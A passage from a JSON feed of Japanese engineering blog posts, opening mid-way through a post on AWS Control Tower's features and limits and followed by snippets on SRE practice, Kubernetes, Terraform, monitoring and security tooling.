Zone自組織で独自実装するパターンです。自組織の方針に従って自由にカスタマイズできるのが強みです。ただし、自由にカスタマイズはできますが、自身でメンテナンスしないといけないので、コストはかかります。主に既存アカウントに適用する場合に利用できます。自組織でアカウント発行の仕組みや管理の仕組みができあがってる場合などです。そもそもなんでマルチアカウントにするのかAWSをマルチアカウントにする観点として以下のものが考えられます。環境の分離開発、テスト、本番を分離することによるセキュリティおよび統制の確保請求の分離部門やシステム単位でのコスト明確化権限の分離部門間での権限分離およびアカウントへの権限移譲複雑性の分離アカウントの目的を明確に絞ることで、構成がシンプルになるAWS Organizationsだけでもできることマルチアカウント管理するだけならOrganizationだけでもある程度はできます。むしろAWS Control TowerはOrganizationの機能を利用しています。複数AWSアカウントの一元管理Organization Unit(OU)の作成複数アカウントのグルーピング化AWSアカウントの発行Service Control Policyの作成、OUへの適用複数アカウントの一括請求AWS Control Towerだと何ができるのかControl Towerで提供される機能として以下のものがあります。Landing Zoneの提供AWS Organizationを使用してマルチアカウントを作成デフォルトでSandbox、SecurityのOUを作成AWS IAM アイデンティティセンターを利用したID管理を提供Account FactoryAWSアカウントのプロビジョニングの自動化設定可能なテンプレートを提供CloudTrailとConfigログの保存Log Archiveアカウント内のS3バケットに一元的に保存されるガードレールの提供必須と任意の観点の2種類と予防的と発見的の2種類の組み合わせがありControl Towerにより管理下のアカウントに適用される参考: ガードレールの仕組み予防的ガードレール(Service Control Policy)禁止されたアクションの実行が拒否される仕組みControl Tower管理下のアカウントは必須の予防的ガードレールで禁止されているアクションが不可能発見的ガードレール(Config)特定のイベントが発生したときにCloudTrailに記録される仕組みダッシュボードOUやアカウント、ガードレール違反などが一覧表示できるAWS Control TowerではできないことAWS Control Towerでは提供されてない機能もあります。GuardDutyやSecurity Hubなどのセキュリティ機能を組織全体適用するにはOrganizationsの機能を利用する必要があります。AWS Control Towerの注意点、制約事項いろいろ資料を見てみてこの辺注意が必要かなという点を書いていきます。注意点既存アカウントの Control Tower への受入処理時にエラーになった場合、スタックセット内で自動実行される作業の一部手作業が必要になる参考:トラブルシューティング - AWS Control Tower独自ガードレールの追加は可能だが、容易ではない。必須ガードレールを外せない参考:必須のガードレール - AWS Control Tower各種セキュリティー機能は自動で有効化されないため、Control Towerの範囲外のセキュリティ機能は Control Tower の機能の外で管理が必要になる範囲内の機能: Config, CloudTrail, SCP範囲外の機能: GuardDuty, Security Hub, IAM Access Analyzer, DetectiveControl Tower 未対応リージョンを使用している場合、Control Tower適用リージョンと適用外リージョンが混在して管理が煩雑になる大阪リージョン未対応なのでマルチリージョンを考えるときに注意Control Towerはマネージドサービスであるが追加機能によっては手動バージョンアップ が必要になるケースがある参考: ランディングゾーンを更新する - AWS Control Tower参考: 更新について - AWS Control Towerログアーカイブアカウントで独自のログバケットを作成可能だが、非推奨参考: ランディングゾーンのセットアップに関する管理上のヒントリージョンの使用を制限する SCP の併用に注意が必要参考: AWS Control Tower リソースの作成および変更に関するガイダンスIaC との境界の検討が必要アカウント発行に関してはControl Tower(Account Factory)で手動で行い、その後のアカウント設定はTerraformで行うなどAccount Factory for Terraformを利用することでAWSアカウント発行は可能参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニングどこまでTerraformで対応するかは別途検討が必要制限とクォータS３へのログの保存期間は、最大15年間保存可能(最近アップデートされた)Security OU の共有アカウントの E メールアドレスは変更可能だが、これらの変更を AWS Control Tower コンソールで確認するには、Landing Zone を更新する必要があるAWS Control Tower Landing zone の OU には、OU あたり5個のSCPの制限が適用される300超のアカウントを持つ既存の OU は、AWS Control Tower に登録することはできない300を超える場合はOUを分ける必要があるOUのネストは２段階まで、孫OUを持つことはできない参考: AWS Organizations における組織単位のベストプラクティスAWS Control Towerを使うべきなのかマルチアカウントを展開していくのであれば、AWSのベストプラクティスに乗れるので、使用するのが無難です。ただし、独自のLanding Zoneをすでに構築しており、Account Factoryの仕組みも独自で構築できているのであれば、移行コストを鑑みてそのままでも問題ないです。必須の予防的ガードレールが許容できない、OUなどの制限にひっかるなどの運用上の制約がある場合は使えないので、組織のポリシーを見直すか、独自でLanding Zoneを作るかを考える必要があります。発展もっと調査したかったが、時間が足りなかったことや今後調べたいことです。コンソールからAccount Factory実行するとService Catalogの設定項目がありますが、Service Catalog自体の理解不足でどう扱うのかが把握できてないのでこの辺調べたいです。Account Factory for Terraform(AFT)を使うとアカウント発行そのものもIaC化できるので試したい。参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニング参考: ついにControl Towerのアカウント発行からカスタマイズまでIaC対応！Account Factory for Terraform (AFT)が新登場 #reinvent | DevelopersIOCustomization for Control Tower(CfCT)を使うとアカウント発行のイベントをトリガーにCloudFormationを実行できるので、これも実験したい。参考: AWS Control Tower のカスタマイズ (CfCT) の概要 - AWS Control Tower参考: Control Towerカスタマイズソリューション(CfCT)を使ってガードレールとCloudFormationを自動展開してみた | DevelopersIOまとめControl Towerについて調べたことを書いていきました。実運用自体はまだしてないので、これから触ってみて知見が溜まってきたらまたそれも共有できたらと思います。","link":"https://blog.masasuzu.net/entry/2022/12/10/204957","isoDate":"2022-12-10T11:49:57.000Z","dateMiliSeconds":1670672997000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Site Reliability Engineering","contentSnippet":"これは 3-shake Advent Calendar 2022 9日目の蝉です。ポエムです。組織の Advent Calendar ですが、組織としての意見ではありません。早く SRE って3…","link":"https://qiita.com/yteraoka/items/561276f67ad4571ff9f3","isoDate":"2022-12-09T09:28:06.000Z","dateMiliSeconds":1670578086000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"SREの専門家が集まったチームで『SREの探求』の社内輪読会をやっているという話","contentSnippet":"これは SREのカレンダー | Advent Calendar 2022 - Qiita 9日目のエントリです。昨日はryosukes さんによる「北欧、暮らしの道具店」インフラ構成の変遷、5年間の課題と取り組み でした。はじめにこんにちは。株式会社スリーシェイク Sreake 事業部に所属している@nwiizo です。Sreake事業部は技術力が求められる領域で豊富な経験を持つSREの専門家が集まったチームです。事業部にはさまざまな背景を持つSREの専門家が多く在籍してます。しかし、そのSREの専門家達とは案件が一緒にならなかったり、能動的に質問をしなければSREに関する意見や知見を聞けませんでした。SREの探求 ―様々な企業におけるサイトリライアビリティエンジニアリングの導入と実践オライリージャパンAmazonそんな、課題がある中で半年前に各案件で得た知見や経験を各メンバーで出し合える会がもっと(社内で技術共有会はあるため)あると良いと思いました。そこで社内チャットで運営を募り 『輪読会について考える会』を行いました。社内チャットで運営を募ると一瞬で集まったので良い組織だと思いました。※『輪読会について考える会』の議事録のTOPページです。『SREの探求』輪読会この輪読会を開催するにあたって以下の3つを目的として上げました。各メンバーがSREに関する意見や知見を交換できる場にするチーム全体としてSREへの理解を深めることでSreake の価値を高めるさまざまなフェーズの意見が交換できるように『SREの探求』を読む候補としてSRE サイトリライアビリティエンジニアリング ―Googleの信頼性を支えるエンジニアリングチームやサイトリライアビリティワークブック ―SREの実践方法 も上がりました。しかし、Google だけではなく様々な企業におけるサイトリライアビリティエンジニアリングの導入と実践が紹介されているということで『SREの探求』に決定いたしました。輪読会の形式リモートで毎週水曜日 18:00から1時間、業務もあるので参加は自由としました。進め方としては担当者がNotion に担当の章をまとめて内容を発表する。その後、話し合いながらNotion やSlack に意見を垂れ流す方式にしました。参加者はSREの専門家達、リーダー、人事、営業、総務など様々な方がいてわいわいとやれているので僕は楽しい。輪読会をはじめてから半年が経過して開催できてない週もありましたが現在は14回の実施ができました。各担当者毎に特色がある発表で聞いていて面白いです。『SREの探求』には様々な視点でのSREでの話がされているので当初の目的としては正解です。また、同じ本で同じ職種なのにここまで読み方に差が出るのかと感心してます。人によってはすごくその事柄について考えられていて自分と比較して落ち込みます。でも、経験や考え方の違う人の話を聞けるのはとても参考と刺激になってます。『SREの探求』の輪読会のTOPページです。情報がシュッとまとまってます。また、1年が経過したタイミングで「輪読会に参加して、その後、SREに対しての考え方や行動に変化はありましたか？ 」という質問をしたいと考えております。もし、読んでる社内の方がいたら考えておいてください。さいごに『SREの探求』の輪読会を半年運営してきて各メンバーがSREやインフラ技術に関する意見や知見を交換できる場として機能し始めていると思ってます。自分自身もSREに関する知見を深める機会になっております。今後より良いサービスを提供していくためにも輪読会は続けていきたいなと思いました。輪読会をやる時には運営が複数人で実施することと目的を明確にしておけば運営を続けやすいなって思いました。『SREの探求』の輪読会を終了したタイミングでちゃんと効果測定したブログを書こうと【今は】思ってます。","link":"https://syu-m-5151.hatenablog.com/entry/2022/12/09/041252","isoDate":"2022-12-08T19:12:52.000Z","dateMiliSeconds":1670526772000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"速習 Datadog APM","contentSnippet":"Datadog APM を使った監視設計をすることがあり、使い勝手が良かったため基本的な部分と設定した方がいいなと思っている事項を書いていきます。 プロファイリング機能は使いませんでしたので、本記事では対象外です。 AP […]The post 速習 Datadog APM first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog-apm/","isoDate":"2022-12-08T04:33:11.000Z","dateMiliSeconds":1670473991000,"authorName":"Sreake","authorId":"Sreake"},{"title":"インシデント対応しながら書くポストモーテム","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 8日目の記事です。サービスにおいてインシデントが発生した場合に書くポストモーテムについて，書く負担を減らせるようなテンプレートを提案します。 ポストモーテムのテンプレートポストモーテムのテンプレートは，例えば以下のようなものが公開されています。 Google SREhttps://sre.google/sre-book/example-postmortem/タイトル・インシデント ID日付対応者ステータス概要影響主な原因障害発生のトリガー解決策検知アクションアイテム...","link":"https://zenn.dev/toshikish/articles/1d5bcf9ed1939d","isoDate":"2022-12-07T22:00:00.000Z","dateMiliSeconds":1670450400000,"authorName":"toshikish","authorId":"toshikish"},{"title":"lego で既存の秘密鍵を使って証明書を発行する","contentSnippet":"既存の秘密鍵を使って証明書を発行しなければいけないという特殊な環境ですぐに証明書を発行したいということがありました。 lego を使っての証明書発行はとても簡単ですが、デ","link":"https://blog.1q77.com/2022/12/issue-the-certificate-using-existing-private-key-with-lego/","isoDate":"2022-12-07T13:42:05.000Z","dateMiliSeconds":1670420525000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"『セキュア・バイ・デザインの鳴くところ』というタイトルでOWASP Fukuoka Meeting #9 に登壇しました。 #owaspfukuoka","contentSnippet":"OWASP Fukuoka Meeting #9 に登壇してきました！登壇してきました。自分はセキュリティ専門家ではないのですが発表するとセキュリティ専門家からレビューをもらえたり意見をいただけるのでそれがとてもよいです。ちなみに発表時間が諸事情により30分から1時間になって想定外の資料の取捨選択を行った...発表時間が30分から1時間になって想定してない肉付けしたら資料の主張が曲がったので改変している。— nwiizo (@nwiizo) 2022年12月6日 発表資料セキュア・バイ・デザインの鳴くところ - 安全なソフトウェアを全体から考えるみるで候の資料はこちらです『セキュア・バイ・デザインの鳴くところ』みたいな資料を作成したので公開しておきます！https://t.co/BduVhWd73K#owaspfukuoka— nwiizo (@nwiizo) 2022年12月7日 リモート発表は寂しいので相槌を入れてほしいと思っている。主催の@TakaharuOgasa さんや@mrtc0 さんが程よく補足情報を入れたりしてくれてよかった。セキュア・バイ・デザイン 安全なソフトウェア設計作者:Dan Bergh Johnsson,Daniel Deogun,Daniel Sawanoマイナビ出版Amazon参考資料OWASP SAMM(Software Assurance Maturity Model)OWASP SAMM(Software Assurance Maturity Model):githubOWT2017JP - OWASP\xa0SAMMセキュリティーチェックシートという闇への防衛術CircuitBreakerPattern: Circuit BreakerGitHub - istio/istio: Connect, secure, control, and observe services.Istio By Exampleサービスメッシュの「Istio」や、OSSで構成されたマネージドサービス――ミッションクリティカルなシステムをKubernetesで実現するカギはツールにあり！【デブサミ2018】Design It! ―プログラマーのためのアーキテクティング入門Release It!: Design and Deploy Production-Ready SoftwareOWASP SAMM Toolkit v2.0.6開発環境のセキュリティおよびCI/CDパイプラインのセキュア化PHPerKaigi 2022: 予防に勝る防御なし - 堅牢なコードを導く様々… / 和田卓人SOLID CODE 高品質なコードを生み出す実践的開発手法","link":"https://syu-m-5151.hatenablog.com/entry/2022/12/07/204400","isoDate":"2022-12-07T11:44:00.000Z","dateMiliSeconds":1670413440000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"社会に蔓延る労苦〈Toil〉をなくす（株式会社スリーシェイク入社エントリ）","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 5日目の記事です。前日は @aqarium さんによる 徒然なるままにDatadog APM でした。私は株式会社スリ…","link":"https://qiita.com/tayakun/items/2f5ca30b777a54b2c52d","isoDate":"2022-12-05T14:18:53.000Z","dateMiliSeconds":1670249933000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Prometheus で探索対象の ServiceMonitor を広げる","contentSnippet":"Kubernetes クラスタで Prometheus を導入し，ServiceMonitor を作って監視対象を定義したところ，一向に Target として追加されないことがありました。ServiceMonitor が作られているだけでは不十分で，Prometheus の探索する対象に入っている必要があります。それがどこで定義されているかを調べました。以下のような ServiceMonitor を考えます。apiVersion: monitoring.coreos.com/v1kind: ServiceMonitormetadata: name: example-serv...","link":"https://zenn.dev/toshikish/articles/70424038397d6d","isoDate":"2022-12-05T09:53:34.000Z","dateMiliSeconds":1670234014000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Cloud Runで定期ジョブを実行する","contentSnippet":"本記事は GCP(Google Cloud Platform) Advent Calendar 2022 の4日目のものです。3日目は @po3rin さんのAPI on GKE に高速で認証をつけるIdentity-Aware Proxy \xd7 Identity Platform でした。 概要普段、GCPを使ったWebアプリケーション開発をしていますが、その中で、定期的に(スケジューリングをして)、ジョブを実行するということがあります。例えば、DBのデータの整合性とか、ログの収集とか。。。この要件のときは、GCP内で完結させるとして、Cloud SchedulerのHTTP...","link":"https://zenn.dev/satohjohn/articles/20ebf8d1bed1d1","isoDate":"2022-12-04T13:48:19.000Z","dateMiliSeconds":1670161699000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Grafana OnCall で Twilio を使って電話を受ける","contentSnippet":"Twilio Advent Calendar 4日目の記事です。今年 (2022年) の6月に「Introducing Grafana OnCall OSS, on-call management…","link":"https://qiita.com/yteraoka/items/7e6db7111a061f5e22e4","isoDate":"2022-12-03T16:34:52.000Z","dateMiliSeconds":1670085292000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Codezine掲載】エンジニアの事業貢献、必要な第一歩とは？ 松本亮介氏\xd7スリーシェイクが解説！ エンジニアがプロダクトやビジネスへの理解を深める方法","contentSnippet":"「デベロッパーの成長と課題解決に貢献するメディア」をコンセプトに情報発信を行うソフトウェア開発者向けWebメディア「Codezine」に、弊社SREである手塚と、多数の企業で技術顧問などを務める松本亮介氏の対談記事が掲載されましたThe post 【Codezine掲載】エンジニアの事業貢献、必要な第一歩とは？ 松本亮介氏\xd7スリーシェイクが解説！ エンジニアがプロダクトやビジネスへの理解を深める方法 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/codezine_engineer_product/","isoDate":"2022-11-29T05:25:53.000Z","dateMiliSeconds":1669699553000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google BigQuery: The Definitive Guideを読んでみた","contentSnippet":"はじめに 2021年スリーシェイクに入社してから案件で BigQuery を触ったのをきっかけに、Google BigQuery: The Definitive Guideを読んだので本の内容を一部紹介します。 10章ま […]The post Google BigQuery: The Definitive Guideを読んでみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-bigquery-the-definitive-guide/","isoDate":"2022-11-29T02:25:13.000Z","dateMiliSeconds":1669688713000,"authorName":"Sreake","authorId":"Sreake"},{"title":"オブザーバビリティについて理解する (収集・分析・可視化）","contentSnippet":"クラウド基盤の登場により、自社でサーバーを構築してシステムを運用するオンプレ以外の選択肢が増えてきました。多くの企業では、クラウド基盤を活用してシステム運用の効率化を図っているでしょう。 しかし、システムによってはまだま […]The post オブザーバビリティについて理解する (収集・分析・可視化） first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/observability/","isoDate":"2022-11-29T01:05:03.000Z","dateMiliSeconds":1669683903000,"authorName":"Sreake","authorId":"Sreake"},{"title":"複数の Terraform リソースを一度に別の tfstate ファイルに移動する","contentSnippet":"Terraform の tfstate ファイル間のリソースの移動方法は，基本的には以下の記事の通りです。https://www.karakaram.com/moving-terraform-resources-to-another-tfstate-file/この記事では複数リソースを移動したい場合の方法を書きます。 方法やることはシンプルで，リソースをファイルで列挙して xargs で terraform state mv を繰り返すだけです。移動元ディレクトリで terraform state list を実行することで，その tfstate ファイル内の全リソースを取...","link":"https://zenn.dev/toshikish/articles/61db8661cb28ba","isoDate":"2022-11-25T07:33:50.000Z","dateMiliSeconds":1669361630000,"authorName":"toshikish","authorId":"toshikish"},{"title":"docker-buildxとmulti-platform build周りについてまとめ","contentSnippet":"最近docker buildxを使ったmulti-platform build周りについての知見がある程度溜まってきたので必要そうな情報をまとめておく。buildx自体が実際に使うとハマりどころが多いので、すんなりと納得できるような文章がかけてないとは思うけど、実際に触る人がハマったり疑問に思ったりする内容の穴埋めはある程度できてるとは思ってる。ちなみにこの記事を書いてる時点のdocker-buildxの最新バージョンがv0.9.1なので、貼ってあるbuildxのリンクについては基本このバージョンのものになる。 docker-buildxってなに？リポジトリを見るとdock...","link":"https://zenn.dev/bells17/articles/docker-buildx","isoDate":"2022-11-19T16:52:45.000Z","dateMiliSeconds":1668876765000,"authorName":"bells17","authorId":"bells17"},{"title":"[3-shake 秋季インターンブログ] eBPF によるコンテナセキュリティツールの Tetragon を検証してみた","contentSnippet":"Sreake事業部で2022年10月11日 ~ 24日に開催された短期インターンに参加しました。eBPF によるコンテナランタイムセキュリティツールの Tetragon の技術検証と運用方法の提案を行いました。以下では、その成果をまとめたいと思います。The post [3-shake 秋季インターンブログ] eBPF によるコンテナセキュリティツールの Tetragon を検証してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/ebpf-tetragon/","isoDate":"2022-11-14T00:00:00.000Z","dateMiliSeconds":1668384000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"RPM の install, uninstall 時に実行される script の確認","contentSnippet":"ある RPM Package のインストール、アンインストール時にどんな処理が行われているのか確認したいことがある そんな時な rpm コマンドの --scripts オプションを使用する rpm -qp --scripts ./some.rpm","link":"https://blog.1q77.com/2022/11/rpm-scripts/","isoDate":"2022-11-10T23:38:02.000Z","dateMiliSeconds":1668123482000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"AWS IAM ポリシーの StringNotEquals 条件の複数値指定は AND になる","contentSnippet":"AWS IAM ポリシーの条件で同一キーに対して複数値を指定した場合，通常は OR で評価されます。例えば，以下の StringEquals 条件の例では，aws:PrincipalTag/role が audit または security のいずれかであれば true になります。\\"Condition\\": { \\"StringEquals\\": { \\"aws:PrincipalTag/role\\": [ \\"audit\\", \\"security\\" ] }}では StringNotEquals 条件にするとどうでしょうか？例えば以下のポリシーで aws:Principal...","link":"https://zenn.dev/toshikish/articles/2d9274783acbae","isoDate":"2022-11-10T08:31:56.000Z","dateMiliSeconds":1668069116000,"authorName":"toshikish","authorId":"toshikish"},{"title":"[3-shake 秋季インターンブログ] Config Connectorの検証","contentSnippet":"SRE技術の調査と研究を行う目的で2022年10月11日 ~ 24日に開催された短期インターンに参加しました。2週間という期間を使って、Google CloudのConfig Connectorについて調査を行ったので、本記事ではその調査結果をまとめます。The post [3-shake 秋季インターンブログ] Config Connectorの検証 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/config-connectortest/","isoDate":"2022-11-09T03:02:42.000Z","dateMiliSeconds":1667962962000,"authorName":"Sreake","authorId":"Sreake"},{"title":"2022年10月のふりかえり、まとめ","contentSnippet":"7年ぶりにふり返りするような気がします。これぶりですかね。blog.masasuzu.net10月は思い立って細かいことでも記録に残すようにし始めたのでサブブログの月間投稿数が増えてます。このまま続けたいところです。メインブログは相変わらず0なのでちゃんと書きたいところではあります。2022-10-01から1ヶ月間の記事一覧 - ふり返る暇なんて無いね仕事10月は端境期だったので、技術検証をメインでやってました。技術メインブログの方はどちらかというとパブリック向けに書いてます。ただ、この方針だと記事がゆるい記事が書きにくくなってきたので、サブブログを作った経緯があります。サブブログの技術記事は他の誰かのためではなく未来の自分が思い出すために書くをモットーに書いてます。なのでゆるく、細かい系のことも気軽に書いてます。分からないことは分からないと明示する。途中でも経過を残す。恥も残す。そんな感じです。以前とくらべてGoogle Cloud回りを10月はいじってた感じですね。build-in commandのmanが引けなくて困った - ふり返る暇なんて無いねt3系インスタンスのスペックについて - ふり返る暇なんて無いねGoogle Cloudの外部HTTP(S)ロードバランサと外部HTTP(S)ロードバランサ(従来型)の違いがわからなかった。 - ふり返る暇なんて無いね未解決: Google Cloud Storageの静的配信でnginxで言うところのtry_files的なことをしたかった。。。。 - ふり返る暇なんて無いねはてなブログのカテゴリごとのRSSフィード - ふり返る暇なんて無いねGitHub Actionsで save-state とset-output が廃止されるようです。 - ふり返る暇なんて無いね故障と障害の違いがわからずに困惑してた - ふり返る暇なんて無いね資格PCA取りました!11月にはPCA、KCNA、年内にCKA、CKADを取ることを目標に業務とは別に学習してます。なお、業務ではGoogle CloudもKubernetesも今のところ触る余地ないです。が、将来の投資として学習してます。近い未来で使うのが目に見えてるので。Google Cloud認定 Professional Cloud Architect合格してた - ふり返る暇なんて無いね11月末ターゲットで2個資格試験受けます - ふり返る暇なんて無いね旅土曜日の午前中に温泉入るのにはまってます。休日の早い時間に行動すると時間の有効活用ができるなとしみじみ感じてます。人生に疲れたので熱海で温泉入ってきた - ふり返る暇なんて無いね横須賀で温泉入ってきた - ふり返る暇なんて無いね江ノ島に行ってきて午前中だけで満足した - ふり返る暇なんて無いね生活寒くなりましたが、がんばります。今季初暖房使いました。 - ふり返る暇なんて無いね技術書を複数回読むということ - ふり返る暇なんて無いねワクチン4回目打った\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89\uD83D\uDC89 - ふり返る暇なんて無いね11月に向けてといっても11月始まってますが。11月は資格の勉強もあるし、新しい固めのお仕事も始まるので、だいぶヘビーになる予感を感じてます。寒くなる季節なので体調には気を付けつつも、引き続き温泉につかり、ブログ書くのも続けて行きたいですね。","link":"https://blog.masasuzu.net/entry/2022/11/09/082007","isoDate":"2022-11-08T23:20:07.000Z","dateMiliSeconds":1667949607000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"[3-shake 秋季インターンブログ] Trivy Operator を用いた脆弱性管理の提案","contentSnippet":"Sreake 事業部は SRE関連技術に強みを持つエンジニアによるコンサルテーションサービスを提供する事業部であり、私たちも SRE 技術の調査と研究を行う目的で2022年10月11日 ~ 24日に開催された短期インターンに参加しました。2週間という期間を使って、Trivy Operator の技術検証と運用方法の提案を行いました。本記事では、その成果をまとめたいと思います。The post [3-shake 秋季インターンブログ] Trivy Operator を用いた脆弱性管理の提案 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/trivy_operator_vulnerability/","isoDate":"2022-11-07T07:04:20.000Z","dateMiliSeconds":1667804660000,"authorName":"Sreake","authorId":"Sreake"},{"title":"/etc/hosts で wildcard や CNAME 対応させたい","contentSnippet":"macOS での話です。(macOS Ventura でも機能することを確認しました) /etc/hosts で 203.0.113.2 *.example.com みたいに wildcard に対応させたいことが稀にあります。 また、AWS の Application Load Balancer のように IP アドレスの固定され","link":"https://blog.1q77.com/2022/10/mac-etc-resolver/","isoDate":"2022-10-30T14:56:34.000Z","dateMiliSeconds":1667141794000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[2022/10/28] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年10月28日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/whnN4hwsIYg 告知とかニュースっぽいもの Open Networking Conference Japanちょうど今日開催し...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20221028","isoDate":"2022-10-28T13:05:14.000Z","dateMiliSeconds":1666962314000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes クラスタ内ホスト名に CNAME レコードでエイリアスを付与したい","contentSnippet":"Kubernetes クラスタ内で使えるホスト名に CNAME レコード相当でエイリアスを付与したい場合を考えます。クラスタ内では CoreDNS が使われているものとします。 TL;DRCorefile（CoreDNS の設定ファイル）で rewrite プラグインを使って記述します。例えば Service のアドレスである foo.default.svc.cluster.local を foo.example.com にエイリアスしたい場合は以下のように行を追加します。apiVersion: v1kind: ConfigMapmetadata: name: cor...","link":"https://zenn.dev/toshikish/articles/7f555dbf1b4b7d","isoDate":"2022-10-28T10:45:26.000Z","dateMiliSeconds":1666953926000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Google Cloud Binary Authorization 徹底調査","contentSnippet":"Binary Authorization とは 概要 コンテナベースのアプリケーションに ソフトウェアサプライチェーンのセキュリティを提供する Google Cloud のサービスです。 補足 ソフトウェアサプライチェー […]The post Google Cloud Binary Authorization 徹底調査 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-binary-authorization/","isoDate":"2022-10-27T00:46:10.000Z","dateMiliSeconds":1666831570000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Gitlab Ci で Kaniko build し Trivy で scan する","contentSnippet":"GitLab CI でコンテナイメージを Docker daemon の不要な Kaniko で build し、それを Trivy でスキャンする方法 まず、kaniko で --tarPath を指定して tar ファイルで書き出す 書き出す先を artifacts で指定したディレクトリ","link":"https://blog.1q77.com/2022/10/gitlab-ci-kaniko-and-trivy/","isoDate":"2022-10-26T14:34:28.000Z","dateMiliSeconds":1666794868000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"PodSecurityPolicy について考えてみた","contentSnippet":"話すこと 案件で Kubernetes のセキュリティについて調べることがあったので、各レイヤで何が必要かを検討しました。 Node レイヤ・Inspector・(falco) Pod レイヤ・(falco)・セキュリテ […]The post PodSecurityPolicy について考えてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pod-security-policy/","isoDate":"2022-10-24T02:15:18.000Z","dateMiliSeconds":1666577718000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Anthos Service Mesh の Outbound Access Log を出力する","contentSnippet":"Anthos Service Mesh のアクセスログはデフォルトでは Service への Inbound しか出力されません。 エラーが発生した場合は Outbound のログも出力されます。 出力先は Cloud Logging で HTTP の情報は Load Balancer などと同様に httpRequest という Object","link":"https://blog.1q77.com/2022/10/asm-access-log/","isoDate":"2022-10-21T15:33:40.000Z","dateMiliSeconds":1666366420000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"10年ぶりに転職しました","contentSnippet":"先日まで面白法人カヤックに勤めていました。転職の経緯も書こうと思ったのですが、内面の変化や会社との関係性など多岐に渡りけっこうなボリュームになりそうだったので分けることにしました。転職のためにやったこと久しく転職活動をしておらず、ポートフォリオや職務経歴書というものがなくどこから手を付けたらいいのやらという状態で、つまりは自分の整理ができていないところからのスタートでした。また、Wantedlyの内容を充実させたことにより少しずつスカウトをいただく機会が増えました。転職活動を振り返って転職活動を始めるまでは沈んでいたこともあり、スカウトをいただいただけでも大変ありがたかったです。ありがたいことに合計17ほどスカウトをいただきました。多いのか少ないのかはわかりませんが、こんな自分にも興味を持ってくださって素直にうれしかったです。PCのキッティングやアカウント管理など日常業務をやる担当はいるコーポレート部門の社員が情シスを兼任(情シスは未経験)情シス部門を立ち上げたいカジュアル面談といいつつ、半分は相談のような面談もあり情シスで悩みを抱えている会社がたくさんあるという現状を知るきっかけにもなりました。それは、「情シス担当者を育てられる環境をつくること」です。そして、自身のチャレンジしてみたいこととニーズがマッチした会社と出会いました。転職先とこれからやっていきたいことその出会った会社というのはスリーシェイクです。SreakeやSecurify,Reckonerといったサービスの運用のお困りごとを手助けできるサービスを展開しています。スリーシェイクは現状100人に満たない規模で情シスには若手が1人います。PCキッティングやアカウント管理など日常業務で手一杯情報システム部として見たときにできていないところを強化していきたいそれをやるのに何をやっていけばいいかわからないという感じでした。最後にこれをお読みいただいた方の中には前職から筆者を知っていただいている方もいるかもしれません。あいも変わらずやっておりますので、何かあれば(もしくは何もなくても)遊びに伺います。お気軽にお声がけください。","link":"https://blog.jigyakkuma.org/2022/10/20/recruit2022/","isoDate":"2022-10-20T00:37:52.000Z","dateMiliSeconds":1666226272000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"Kubernetes で StatefulSet の Volume を resize する","contentSnippet":"Kubernetes で StatefulSet に volumeClaimTemplates を指定して Persistent Volume を使用している環境で volume のサイズを変更する方法。 素直に StatefulSet の manifest を変更して apply しようとすると次のように StatefulSet で更新可能なのは replicas, template, updateStragety だけだよとエラーに","link":"https://blog.1q77.com/2022/10/kubernetes-resize-statefulset-volume/","isoDate":"2022-10-18T13:36:49.000Z","dateMiliSeconds":1666100209000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"DNS over HTTPS 通信の中身を確認する","contentSnippet":"iPhone の HTTP(S) 通信を OWASP ZAP で覗いてみたたら 8.8.8.8, 8.8.4.4 に対して DNS over HTTPS の通信を見つけたのでどんなやり取りをしているのか確認してみた。 DNS over HTTPS でのリクエスト # リクエストは HTTP の GET メソッド","link":"https://blog.1q77.com/2022/10/iphone-dns-over-https/","isoDate":"2022-10-15T15:11:55.000Z","dateMiliSeconds":1665846715000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"apt-key is deprecated への対応","contentSnippet":"Debian 系の Linux 